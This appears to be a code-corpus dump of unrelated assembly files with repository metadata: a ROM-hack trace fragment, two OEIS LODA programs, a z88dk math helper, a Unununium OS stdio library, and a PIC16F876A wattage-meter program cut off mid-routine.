0889B0 moveq #$f, D0 [etc+AC, etc+AE]
091FF0 move.l #$0, ($aa,A6) [etc+A0]
091FF8 move.w #$1e, ($b6,A6)
0921FA move.l #$0, ($aa,A6) [etc+A0]
092202 rts
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
| 65.138889 | 350 | 0.648614 |
1b0c635a658ab09e30d79f98a4e65e43bb5ac433 | 445 | asm | Assembly | oeis/194/A194979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/194/A194979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/194/A194979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A194979: a(n) = 1 + floor(n/sqrt(3)).
; Submitted by Jon Maiga
; 1,2,2,3,3,4,5,5,6,6,7,7,8,9,9,10,10,11,11,12,13,13,14,14,15,16,16,17,17,18,18,19,20,20,21,21,22,22,23,24,24,25,25,26,26,27,28,28,29,29,30,31,31,32,32,33,33,34,35,35,36,36,37,37,38,39,39,40,40,41,41,42,43,43,44,44,45,46,46,47,47,48,48,49,50,50,51,51,52,52,53,54,54,55,55,56,57,57,58,58
add $0,1
pow $0,2
lpb $0
sub $0,$1
add $1,3
sub $0,$1
lpe
mov $0,$1
div $0,3
add $0,1
| 29.666667 | 286 | 0.611236 |
d7efe825741894a22165d4c147e00d14f8dc2e6d | 184 | asm | Assembly | libsrc/math/zxmath/ldfabc.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/math/zxmath/ldfabc.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/math/zxmath/ldfabc.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ;
; Z88dk Generic Floating Point Math Library
;
; FA = bc ix de
PUBLIC ldfabc
EXTERN fa
.ldfabc LD (fa),DE
LD (fa+2),IX
LD (fa+4),BC
RET
| 12.266667 | 43 | 0.505435 |
18caae7d13f585236baf26649f1c75472361e2af | 497 | asm | Assembly | programs/oeis/341/A341765.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/341/A341765.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/341/A341765.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A341765: Let b(2*m) be the number of even gaps 2*m between successive odd primes from 3 up to prime(n). Let k1 = sum of all b(2*m) when m == 1 (mod 3) and let k2 = sum of all b(2*m) when m == 2 (mod 3). Then a(n) = k1 - k2.
; 1,2,1,2,1,2,1,1,2,2,1,2,1,1,1,2,2,1,2,2,1,1,2,1,2,1,2,1,2,1,1,2,1,2,2,2,1,1,1,2,1,2,1,2,2,2,1,2,1,1,2,1,1,1,1,2,2,1,2,1,2,1,2,1,2,2,1,2,1,1,2,2,2,1,1,2,1,2,1,2,1,2,2,1,1,2,1,2,1,1,2,1,2,1,1,1,2,2,2,1
add $0,1
seq $0,98090 ; Numbers k such that 2k-3 is prime.
mod $0,3
| 71 | 225 | 0.577465 |
2523602db9fbfc298b4f0030ed5117ec2d7773e1 | 18,173 | asm | Assembly | dimension/devtool/clibs/stdio/stdio.asm | ekscrypto/Unununium | 4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f | [
"BSD-2-Clause"
] | 7 | 2019-03-04T08:53:33.000Z | 2022-01-28T19:32:12.000Z | dimension/devtool/clibs/stdio/stdio.asm | ekscrypto/Unununium | 4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f | [
"BSD-2-Clause"
] | null | null | null | dimension/devtool/clibs/stdio/stdio.asm | ekscrypto/Unununium | 4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f | [
"BSD-2-Clause"
] | null | null | null | ; Unununium Standard Libs by Lukas Demetz
; STDIO
;
; Description: Provides FS interface to UUU
;
;
; Status: Coding
;
; ToDO:
; --------
; [ ] Finish the functions
; [x] Finish buffering
; [ ] Add all C Defines in stddef.inc
;
;
;
;
%include "struct.def"
%include "define.inc"
%include "fs/fs.inc"
%include "vid/mem.inc"
%include "vid/vfs.inc"
;
%include "fstdio.inc"
; ----------------
; Global Functions
; --------------------
; [Done]
global clearerr ;* ;; void clearerr(FILE *stream)
global fclose ;* ;; int fclose(FILE *stream)
global feof ;* ;; int feof(FILE *stream)
global ferror ;* ;; int ferror(FILE *stream)
global fflush ;* ;; int fflush(FILE *stream)
global fgetpos ;* ;; int fgetpos(FILE *stream, fpos_t *pos)
global fopen ;* ;; FILE *fopen(const char *filename, const char *mode)
global fread ;* ;; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
global freopen ;; FILE *freopen(const char *filename, const char *mode, FILE *stream)
global fseek ;* ;; int fseek(FILE *stream, long int offset, int whence)
global fsetpos ;* ;; int fsetpos(FILE *stream, const fpos_t *pos)
global ftell ;* ;; long int ftell(FILE *stream)
global fwrite ;* ;; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
global remove ;; int remove(const char *filename)
global rename ;; int rename(const char *old_filename, const char *new_filename)
global rewind ;* ;; void rewind(FILE *stream)
global setbuf ;* ;; void setbuf(FILE *stream, char *buffer)
global setvbuf ;* ;; int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
global tmpfile ;; FILE *tmpfile(void)
global tmpnam ;; char *tmpnam(char *str)
; ----------------
; Extern Data
; --------------------
extern stdlib_stdin ; Data of the app we#re running
extern stdlib_stdout
extern stdlib_stderr
extern process_info
section .text
;
;--------------------------------------; Allright, we start here
; GLOBAL FUNCTIONS
clearerr: ;; void clearerr(FILE *stream)
; -------------------------------
; Clears the end-of-file and error indicators for the given stream.
; As long as the error indicator is set, all stream operations will return
; an error until clearerr or rewind is called.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Reset EOF & Error sign
mov dword [ebx+l4u_FileDescr.iserror], 00h
mov dword [ebx+l4u_FileDescr.iseof], 00h
; Step 3: Return 0
xor eax, eax
pop ebx
pop ebp
retn
fclose: ;; int fclose(FILE *stream)
; -------------------------------
; Closes the stream. All buffers are flushed.
; If successful, it returns zero. On error it returns EOF.
;; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
mov ebx, [ebp + 8] ; EBX points to our FileDescr
; ---
call _tool.parsefilepointer ; Check it
call _tool.destruct_l4uFD ; Next Step: Remove our l4u_FileDescr
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
feof: ;; int feof(FILE *stream)
; -------------------------------
; Tests the end-of-file indicator for the given stream. If the stream
; is at the end-of-file, then it returns a nonzero value.
; If it is not at the end of the file, then it returns zero.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Check EOF
mov ebx, dword [ebx+l4u_FileDescr.iseof]
cmp ebx, dword 00h
je .neof
mov ebx, dword EOF
; Step 3: Return
.neof:
mov eax, ebx
pop ebx
pop ebp
retn
ferror: ;; int ferror(FILE *stream)
; -------------------------------
; Tests the error indicator for the given stream. If the
; error indicator is set, then it returns a nonzero value.
; If the error indicator is not set, then it returns zero.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Check EOF
mov ebx, dword [ebx+l4u_FileDescr.iserror]
cmp ebx, dword 00h
je .nerr
; call _tool.parseerror
mov ebx, -1
; Step 3: Return
.nerr:
mov eax, ebx
pop ebx
pop ebp
retn
fflush: ;; int fflush(FILE *stream)
; Returns zero
xor eax, eax
retn
;
fgetpos: ;; int fgetpos(FILE *stream, fpos_t *pos)
; -------------------------------
; Gets the current file position of the stream and writes it to pos.
; If successful, it returns zero.
; On error it returns a nonzero value and stores the error number in the variable.
; Status: Done
call ftell ; Call ftell (pipe)
push ebp ; -> Returns EAX=position
mov ebp, esp ;
; Result is in eax
mov ebp, dword [ebp+12] ;
cmp eax, dword -1 ;
jne .ok ;
; ---
call _tool.seterr ; Error
pop ebp ;
retn ;
; ---
.ok: ; Ok
mov dword [ebp], eax ; Save *pos
xor eax, eax ; Return 0
;
pop ebp ;
retn ; <done>
;--------------------------------------;
fseek: ;; int fseek(FILE *stream, long int offset, int whence)
; ---------------------------
; Sets the file position of the stream to the given offset.
; The argument offset signifies the number of bytes to seek
; from the given whence position. The argument whence can be:
; SEEK_SET Seeks from the beginning of the file.
; SEEK_CUR Seeks from the current position.
; SEEK_END Seeks from the end of the file.
; On a text stream, whence should be SEEK_SET and offset should
; be either zero or a value returned from ftell.
;
; The end-of-file indicator is reset. The error indicator is NOT reset.
; On success zero is returned. On error a nonzero value is returned.
; Status: Done
push ebp
mov ebp, esp
push ebx
push edx
push esi
; Step 1: Get the param
mov ebx, [ebp + 8] ; FileHandle
mov eax, [ebp + 12] ; Offset
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
;
;-------------------------------;
; ESI = OpTable
; EBX = FIleHandle (UUU)
; EDX:EAX = Size to seek
; Stack+0 = Our FileHandle
;-------------------------------;
;
cmp [ebp + 16], dword SEEK_END
jne .not_end ;
;
mov esi, dword [esi+file_op_table.seek_end]
jmp .continue ;
.not_end: ;
cmp [ebp + 16], dword SEEK_CUR
jne .not_cur ;
mov esi, dword [esi+file_op_table.seek_cur]
jmp .continue ;
.not_cur: ;
mov esi, dword [esi+file_op_table.seek_start]
;
.continue: ;
call [esi] ; Call!
;
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
fsetpos: ;; int fsetpos(FILE *stream, const fpos_t *pos)
; -------------------------------
; Sets the file position of the given stream to the given position.
; The argument pos is a position given by the function fgetpos.
; The end-of-file indicator is cleared.
; On success zero is returned. On error a nonzero value
; is returned and the variable errno is set.
push ebp
mov ebp, esp
push ebx
push edx
push esi
; Step 1: Get the param
mov ebx, [ebp + 8] ; FileHandle
mov eax, [ebp + 12] ; Offset
mov eax, [eax] ; - Get it
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_start]
call [esi]
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
ftell: ;; long int ftell(FILE *stream)
; ;------------------------------
; Returns the current file position of the given stream.
; If it is a binary stream, then the value is the number of bytes from
; the beginning of the file. If it is a text stream, then the value is a
; value useable by the fseek function to return the file position to the current position.
; On success the current file position is returned.
; On error a value of -1 is returned and errno is set.
;
; Status: Done ;
; <start>
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
mov ebx, [ebp + 8] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_cur]
;
mov eax, dword 00h ;
;
;-------------------------------;
; EAX = Amount to read
; ESI = seek_cur position
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call seek_cur
pop ebx ;
jnc .ok ;
call _tool.seterr ; Error? Set errorflag &
mov eax, -1 ; return -1
.ok: ;
;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
fopen: ;; FILE *fopen(const char *filename, const char *mode)
; On success a pointer to the file stream is returned. On failure a null pointer is returned.
; NOTE: Not using mode at all
; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
push esi
mov ebx, [ebp + 8]
call _tool.parsefilepointer
mov esi, ebx
mov esi, dword [esi+l4u_FileDescr.file_descr]
; Step 2: Try to open the file
externfunc vfs.open
jc .error_vfs
call _tool.create_l4uFD
mov eax, ebx ; Return value
pop esi
pop ebx
pop ebp
retn
.error_vfs:
mov eax, NULL ; Null-pointer
pop esi
pop ebx
pop ebp
retn
fread: ;; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
; --------------------------------
; Reads data from the given stream into the array pointed to by ptr.
; It reads nmemb number of elements of size size. The total number of
; bytes read is (size*nmemb).
; On success the number of elements read is returned. On error or
; end-of-file the total number of elements successfully read (which may be zero)
; is returned.
; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
push edx
push edi
mov ebx, [ebp + 20] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
mov edx, [ebp + 12]
mov eax, [ebp + 16]
mul edx ; < 32 bit only!>
mov ecx, eax ; ECX = Number of bytes to read
mov edi, [ebp + 8] ; EDI = Destination
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.read]
;
;
;-------------------------------;
; ECX = Amount to read
; EDI = Destination
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call read
pop ebx ; (save back our own file_desc)
pop edi
pop edx ;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
fwrite: ;; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
; -------------------------
; Writes data from the array pointed to by ptr to the given
; stream. It writes nmemb number of elements of size size. The
; total number of bytes written is (size*nmemb).
; On success the number of elements writen is returned. On error
; the total number of elements successfully writen (which may be zero) is returned.
; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
push edx
push edi
mov ebx, [ebp + 20] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
mov edx, [ebp + 12]
mov eax, [ebp + 16]
mul edx ; < 32 bit only!>
mov ecx, eax ; ECX = Number of bytes to read
mov esi, [ebp + 8] ; ESI = Source
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.write]
;
;
;-------------------------------;
; ECX = Amount to read
; ESI = Source
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call write
pop ebx ; (save back our own file_desc)
pop edi
pop edx ;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
rewind: ;; void rewind(FILE *stream)
; --------------------------
; Sets the file position to the beginning of the
; file of the given stream. The error and end-of-file
; indicators are reset.
push ebp ;
mov ebp, esp ;
push ebx
push edx
push esi
mov ebx, [ebp + 8]
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
call _tool.clearerr ; Clear Error
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_start]
call [esi]
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
setbuf: ;; void setbuf(FILE *stream, char *buffer)
; Return nothing
retn
setvbuf: ;; int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
; Return zero
xor eax, eax
retn
;
;-----------------------------------------------;
; Tools
;-----------------------------------------------;
;
_tool:
.parseerror:
; EBX = Errorcode
;Returns in EBX new errorcode (c-Compat)
.seterror:
.seterr:
; EBX = OurHandle
; EAX = Errornumber of UUU (optional)
mov dword [ebx+l4u_FileDescr.iserror], 01h
retn
.clearerr:
; EBX = Ourhandle
mov dword [ebx+l4u_FileDescr.iserror], 00h
retn
.eof:
; EBX = OurHandle
; CF -> set, otherwise unset
jc .eof_set
mov dword [ebx+l4u_FileDescr.iseof], 00h
retn
.eof_set:
mov dword [ebx+l4u_FileDescr.iseof], 01h
retn
.parsefilepointer: ; Includes check for STDIN/STDOUT/STDERR
; EBX = Value given by C app
; out = Corresponding l4u_FileDescr
; Status: Done
cmp ebx, STDIN
jne .next1
mov ebx, [stdin]
jmp .done
.next1:
cmp ebx, STDOUT
jne .next2
mov ebx, [stdout]
jmp .done
.next2:
cmp ebx, STDERR
jne .next3
mov ebx, [stderr]
jmp .done
.next3:
cmp ebx, NULL
jne .other_file
jmp short $ ; <TODO>
.other_file:
.done:
retn
.create_l4uFD:
; EBX = File_Descriptor location ; Creates our own struct
; out EBX = l4u_FileDescr
push ecx
mov ecx, l4u_FileDescr_size
call _tool.malloc
; Fill up now
mov dword [ecx+l4u_FileDescr.lasterror], 00h
mov dword [ecx+l4u_FileDescr.iserror], 00h
mov dword [ecx+l4u_FileDescr.iseof], 00h
mov dword [ecx+l4u_FileDescr.cur_pos], 00h
mov dword [ecx+l4u_FileDescr.file_descr], ebx
mov ebx, ecx
pop ecx
retn
.destruct_l4uFD:
; EBX = File_Descriptor location ; Kill our own struct
; (perhaps more to come when buffering is here)
push ebx
push esi
xor eax, eax
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.close]
;
call [esi] ; Call UUU!
pop ebx
;
jnc .ok ;
call _tool.seterr ; Error? Set errorflag &
mov eax, -1 ; return -1
.ok: ;
;
;-------------------------------;
; EBX = Our Handle
;-------------------------------;
;
call _tool.dealloc ; Dealloc our struct
pop esi
retn
.malloc:
; ECX = Size needed
; out ECX = Address
pushad
externfunc mem.alloc
jc .malloc_err
mov ecx, esi
popad
retn
.malloc_err:
stc
popad
jmp $ ; HangMeUp <TODO>
retn
.dealloc:
; EBX = Address
pushad
mov eax, ebx
externfunc mem.dealloc
jc .DEalloc_err
popad
retn
.DEalloc_err:
stc
popad
jmp $ ; HangMeUp <TODO>
retn
;
;-----------------------------------------------;
; Init
;-----------------------------------------------;
;
global _init_stdio ;
_init_stdio: ; We need to set up STDIN/STDOUT properly
push ebx ; in l4u_FileDescr format.
; ---
mov ebx, dword [stdlib_stdin] ; Set up STDIN
call _tool.create_l4uFD ;
mov dword [stdin], ebx ;
; ---
mov ebx, dword [stdlib_stdout] ; Set up STDOUT
call _tool.create_l4uFD ;
mov dword [stdout], ebx ;
; ---
mov ebx, dword [stdlib_stderr] ; Set up STDERR
call _tool.create_l4uFD ;
mov dword [stderr], ebx ;
; ---
pop ebx ; Clean the stack
retn ;
; > DONE <
;-----------------------------------------------;
; Cleanup
;-----------------------------------------------;
;
global _cleanup_stdio ;
_cleanup_stdio: ; Need to release allocated memory for
push eax ; STDIN/STDOUT/STDERR
; <ToDO>: Buffering cleanup
;
mov eax,[stdin] ; Cleanup our STDIN stuff
externfunc mem.dealloc ;
mov eax,[stdout] ; Cleanup our STDOUT stuff
externfunc mem.dealloc ;
mov eax,[stderr] ; Cleanup our STDERR stuff
externfunc mem.dealloc ;
; ---
pop eax ; Clean the stack
retn ;
; > DONE <
;
;-----------------------------------------------; ============== CODE ENDS =================
; DATA
;-----------------------------------------------;
stdin: dd 0 ; STDIN pointer (our format; l4u_FileDescr)
stdout: dd 0 ; STDOUT pointer (our format; l4u_FileDescr)
stderr: dd 0 ; STDERR pointer (our format; l4u_FileDescr)
;
;
;
;-------
;-------
;---------------
;------------------------------------------------------------------------------
;
; Copyright (c) 2002 Lukas Demetz
; All Rights reserved!
;
;------------------------------------------------------------------------------ | 24.03836 | 94 | 0.58796 |
ae3b28c50ceff3777c0c81cb849fca80f2d57243 | 7,016 | asm | Assembly | WATTAGE_METER.asm | magkopian/pic-asm-wattage-meter | 3a37a8bbf5b875e8ff034345a96ea1dc7f9fc92c | [
"MIT"
] | 1 | 2021-08-12T07:56:10.000Z | 2021-08-12T07:56:10.000Z | WATTAGE_METER.asm | magkopian/pic-asm-wattage-meter | 3a37a8bbf5b875e8ff034345a96ea1dc7f9fc92c | [
"MIT"
] | null | null | null | WATTAGE_METER.asm | magkopian/pic-asm-wattage-meter | 3a37a8bbf5b875e8ff034345a96ea1dc7f9fc92c | [
"MIT"
] | 3 | 2019-07-31T14:05:36.000Z | 2021-08-12T08:43:25.000Z | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Copyright (c) 2013 Manolis Agkopian and Yiannis Chaldeos ;
;See the file LICENCE for copying permission. ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;; WATTAGE METER VERSION 1.0 ;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PROCESSOR '16F876A'
INCLUDE <P16F876A.INC>
__CONFIG _XT_OSC & _WDT_OFF & _PWRTE_OFF & _CP_OFF & _LVP_OFF & _BODEN_OFF
CBLOCK 0x20
;DIVISION VARIABLES
NUMERATOR:4 ;USE 4 BYTES WITH SAME LABEL (0x20, 0x21, 0x22, 0x23)
REMAINDER ;THE REMAINDER (0x24)
LCNT ;LOOP COUNTER (0x25)
;CONVERTION VARIABLES
CONVL ;CONVERTION CONSTANT LOW BYTE (0x26)
CONVH ;CONVERTION CONSTANT HIGH BYTE (0x27)
CONVRESL ;TEMP VAR FOR ADRESL (0x28)
CONVRESH ;TEMP VAR FOR ADRESH (0x29)
V0 ;CONV TO VOLTS RES BYTE 0 (0x2A)
V1 ;CONV TO VOLTS RES BYTE 1 (0x2B)
V2 ;CONV TO VOLTS RES BYTE 2 (0x2C)
V3 ;CONV TO VOLTS RES BYTE 2 (0x2D)
;RESULT
V_ASCII_0 ;00,001 V (0x2E)
V_ASCII_1 ;00,010 V (0x2F)
V_ASCII_2 ;00,100 V (0x30)
V_ASCII_3 ;01,000 V (0x31)
V_ASCII_4 ;10,000 V (0x31)
;GENERAL USE REGISTERS
CNT0 ;(0x32)
CNT1 ;(0x33)
CNT2 ;(0x34)
TMP ;(0x35)
ANIN1L ;(0x36)
ANIN1H ;(0x37)
ANIN2L ;(0x38)
ANIN2H ;(0x39)
CCL ;(0x3A)
CCH ;(0x3B)
INPUT_PIN ;(0x3C)
VOLTAGE:2 ;(0x3D)
CURRENT:2 ;(0x3E)
ZERO_INDICATOR ;(0x3F) (IF BIT0 IS SET, VOLTAGE IS ZERO. IF BIT1 IS SET, CURRENT IS ZERO)
SIGN ;(0x40)
ENDC
;CONVERTION CONSTANTS
CCLV EQU 0x18 ;VOLTAGE CONVERTION CONSTANT LOW BYTE
CCHV EQU 0x13 ;VOLTAGE CONVERTION CONSTANT HIGH BYTE (4888) (AN2)
CCLA0 EQU 0x55 ;AMPS CONVERTION CONSTANT LOW BYTE
CCHA0 EQU 0x10 ;AMPS CONVERTION CONSTANT HIGH BYTE (4181) (AN0)
CCLA1 EQU 0xEC ;AMPS CONVERTION CONSTANT LOW BYTE
CCHA1 EQU 0x13 ;AMPS CONVERTION CONSTANT HIGH BYTE (5100) (AN1)
V EQU 0 ;ZERO_INDICATOR FLAG FOR VOLTAGE
A EQU 1 ;ZERO_INDICATOR FLAG FOR AMPS
MODE_BTN EQU 4 ;BIT 4, PORT A
;ANALOG CHANNELS
HALL0_IN EQU B'01000001' ;ADCON0 TO SET ANALOG CHANNEL 0
HALL1_IN EQU B'01001001' ;ADCON0 TO SET ANALOG CHANNEL 1
VOLTAGE_IN EQU B'01010001' ;ADCON0 TO SET ANALOG CHANNEL 2
ORG 0x000
GOTO INIT ;INCLUDE THE LCD DRIVER, AND OTHER FILES AND GOTO INIT ROUTINE
INCLUDE <LCD_DRIVER.INC>
INCLUDE <ADC.INC>
INCLUDE <ANALOG_PROC.INC>
INIT:
CALL LCD_INIT ;FIRST OF ALL WE HAVE TO INITIALIZE LCD (IT ALSO SETS PORTB AS OUTPUT, FOR MORE INFO CHECK THE .INC FILES)
BSF STATUS, 5 ;SELECT BANK 01
;PORTA IS SET TO INPUT MODE
MOVLW B'11111111'
MOVWF TRISA
BCF STATUS, 5 ;SELECT BANK 00
MAIN:
CLRF ZERO_INDICATOR
MOVLW ' '
MOVWF SIGN
BTFSC PORTA, MODE_BTN ;CHECK IF INIT MODE BUTTON HAVE BEEN PRESSED
CALL INIT_MODE
;;;START OF VOLTS READING;;;
MOVLW VOLTAGE_IN ;ANALOG CHANNEL 2
CALL ADC_INIT ;INIT ADC MODULE
CALL ADC_READ ;READ ANALOG VALUE AND STORE TO CONVRES REGISTER
;CHECK IF CONVRES IS ZERO
MOVF CONVRESL, W
IORLW 0x00
BTFSS STATUS, Z
GOTO CONTINUE_0 ;IF NOT ZERO
MOVF CONVRESH, W
IORLW 0x00
BTFSS STATUS, Z
GOTO CONTINUE_0 ;IF NOT ZERO
BSF ZERO_INDICATOR, V
CALL CLRDIGITS ;ELSE
GOTO OUTPUT
CONTINUE_0:
CALL CONVERT_VOLTAGE_TO_ASCII
OUTPUT:
MOVF V_ASCII_3, W
CALL LCD_CHAR
MOVLW '.'
CALL LCD_CHAR
MOVF V_ASCII_2, W
CALL LCD_CHAR
MOVF V_ASCII_1, W
CALL LCD_CHAR
MOVF V_ASCII_0, W
CALL LCD_CHAR
MOVLW 'V'
CALL LCD_CHAR
MOVLW 0x20
CALL LCD_CHAR
;;;END OF VOLTS READING;;;
;;;START OF AMPS READING;;;
;READ THE ANALOG PIN HALL0_IN
MOVLW HALL0_IN ;SET ANALOG CHANNEL 0
CALL ADC_INIT ;INIT ADC MODULE
CALL ADC_READ ;READ ANALOG VALUE AND STORE TO CONVRES REGISTER
MOVF CONVRESL, W
MOVWF ANIN1L
MOVF CONVRESH, W
MOVWF ANIN1H
;READ THE ANALOG PIN HALL1_IN
MOVLW HALL1_IN ;SET ANALOG CHANNEL 1
CALL ADC_INIT ;INIT ADC MODULE
CALL ADC_READ ;READ ANALOG VALUE AND STORE TO CONVRES REGISTER
;CHECK IF BOTH READINGS ARE ZERO
MOVF CONVRESL, W
MOVWF ANIN2L
MOVF CONVRESH, W
MOVWF ANIN2H
MOVF ANIN1L, W
IORLW 0x00
BTFSS STATUS, Z
GOTO CONTINUE_1 ;IF NOT ZERO
MOVF ANIN1H, W
IORLW 0x00
BTFSS STATUS, Z
GOTO CONTINUE_1 ;IF NOT ZERO
MOVF ANIN2L, W
IORLW 0x00
BTFSS STATUS, Z
